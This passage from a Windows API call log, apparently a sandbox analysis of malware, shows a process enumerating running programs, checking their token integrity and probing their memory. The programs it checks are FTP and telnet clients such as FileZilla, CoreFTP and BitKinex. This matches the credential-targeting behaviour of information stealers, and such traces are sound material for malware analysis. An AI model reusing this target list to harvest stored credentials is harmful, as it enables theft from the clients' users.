(HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.170] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.170] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.170] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.171] NtClose (Handle=0x2a0) returned 0x0 [0095.171] NtQueryVirtualMemory (in: ProcessHandle=0x1d8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.171] NtQueryVirtualMemory (in: ProcessHandle=0x1d8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.183] QueryFullProcessImageNameW (in: hProcess=0x1dc, dwFlags=0x0, lpExeName=0x1527450, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\MSBuild\\3dftp.exe", lpdwSize=0x119fa50) returned 1 [0095.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1527450) returned 1 [0095.183] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.184] IsWow64Process (in: hProcess=0x1dc, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.184] NtQueryInformationProcess (in: ProcessHandle=0x1dc, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.184] GetProcessTimes (in: hProcess=0x1dc, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.184] OpenProcessToken (in: ProcessHandle=0x1dc, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.184] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.185] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.185] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.185] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.185] NtClose (Handle=0x2a0) returned 0x0 [0095.186] NtQueryVirtualMemory (in: ProcessHandle=0x1dc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.186] NtQueryVirtualMemory (in: ProcessHandle=0x1dc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.209] QueryFullProcessImageNameW (in: hProcess=0x1e0, dwFlags=0x0, lpExeName=0xa44968, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows NT\\absolutetelnet.exe", lpdwSize=0x119fa50) returned 1 [0095.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa44968) returned 1 [0095.210] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.210] IsWow64Process (in: hProcess=0x1e0, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.210] NtQueryInformationProcess (in: ProcessHandle=0x1e0, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.210] GetProcessTimes (in: hProcess=0x1e0, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.210] OpenProcessToken (in: ProcessHandle=0x1e0, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.210] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.211] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.211] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.211] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.212] NtClose (Handle=0x2a0) returned 0x0 [0095.212] NtQueryVirtualMemory (in: ProcessHandle=0x1e0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.212] NtQueryVirtualMemory (in: ProcessHandle=0x1e0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.223] QueryFullProcessImageNameW (in: hProcess=0x1e4, dwFlags=0x0, lpExeName=0xa449e8, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\alftp.exe", lpdwSize=0x119fa50) returned 1 [0095.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa449e8) returned 1 [0095.224] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.224] IsWow64Process (in: hProcess=0x1e4, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.224] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.224] GetProcessTimes (in: hProcess=0x1e4, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.224] OpenProcessToken (in: ProcessHandle=0x1e4, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.224] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.225] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.225] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.225] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.226] NtClose (Handle=0x2a0) returned 0x0 [0095.226] NtQueryVirtualMemory (in: ProcessHandle=0x1e4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.226] NtQueryVirtualMemory (in: ProcessHandle=0x1e4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.238] QueryFullProcessImageNameW (in: hProcess=0x1e8, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows Media Player\\barca.exe", lpdwSize=0x119fa50) returned 1 [0095.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.238] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.238] IsWow64Process (in: hProcess=0x1e8, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.238] NtQueryInformationProcess (in: ProcessHandle=0x1e8, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.238] GetProcessTimes (in: hProcess=0x1e8, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.239] OpenProcessToken (in: ProcessHandle=0x1e8, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.239] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.239] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.239] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.239] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.240] NtClose (Handle=0x2a0) returned 0x0 [0095.240] NtQueryVirtualMemory (in: ProcessHandle=0x1e8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.240] NtQueryVirtualMemory (in: ProcessHandle=0x1e8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.252] QueryFullProcessImageNameW (in: hProcess=0x1ec, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Reference Assemblies\\bitkinex.exe", lpdwSize=0x119fa50) returned 1 [0095.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.252] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.252] IsWow64Process (in: hProcess=0x1ec, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.252] NtQueryInformationProcess (in: ProcessHandle=0x1ec, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.252] GetProcessTimes (in: hProcess=0x1ec, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.252] OpenProcessToken (in: ProcessHandle=0x1ec, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.252] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.253] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.253] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.253] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.254] NtClose (Handle=0x2a0) returned 0x0 [0095.254] NtQueryVirtualMemory (in: ProcessHandle=0x1ec, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.254] NtQueryVirtualMemory (in: ProcessHandle=0x1ec, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.265] QueryFullProcessImageNameW (in: hProcess=0x1f0, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows Mail\\coreftp.exe", lpdwSize=0x119fa50) returned 1 [0095.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.265] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.265] IsWow64Process (in: hProcess=0x1f0, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.266] NtQueryInformationProcess (in: ProcessHandle=0x1f0, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.266] GetProcessTimes (in: hProcess=0x1f0, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.266] OpenProcessToken (in: ProcessHandle=0x1f0, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.266] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.266] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.266] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.266] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.267] NtClose (Handle=0x2a0) returned 0x0 [0095.267] NtQueryVirtualMemory (in: ProcessHandle=0x1f0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.267] NtQueryVirtualMemory (in: ProcessHandle=0x1f0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.278] QueryFullProcessImageNameW (in: hProcess=0x1f4, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Adobe\\far.exe", lpdwSize=0x119fa50) returned 1 [0095.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.279] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.279] IsWow64Process (in: hProcess=0x1f4, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.279] NtQueryInformationProcess (in: ProcessHandle=0x1f4, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.279] GetProcessTimes (in: hProcess=0x1f4, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.279] OpenProcessToken (in: ProcessHandle=0x1f4, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.279] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.279] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.279] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.279] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.280] NtClose (Handle=0x2a0) returned 0x0 [0095.280] NtQueryVirtualMemory (in: ProcessHandle=0x1f4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.280] NtQueryVirtualMemory (in: ProcessHandle=0x1f4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.292] QueryFullProcessImageNameW (in: hProcess=0x1f8, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Common Files\\filezilla.exe", lpdwSize=0x119fa50) returned 1 [0095.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.293] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.293] IsWow64Process (in: hProcess=0x1f8, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.293] NtQueryInformationProcess (in: ProcessHandle=0x1f8, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.293] GetProcessTimes (in: hProcess=0x1f8, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.293] OpenProcessToken (in: ProcessHandle=0x1f8, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.293] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.293] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.293] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.293] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.294] NtClose (Handle=0x2a0) returned 0x0 [0095.294] NtQueryVirtualMemory (in: ProcessHandle=0x1f8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.294] NtQueryVirtualMemory (in: ProcessHandle=0x1f8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.306] QueryFullProcessImageNameW (in: hProcess=0x1fc, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Uninstall 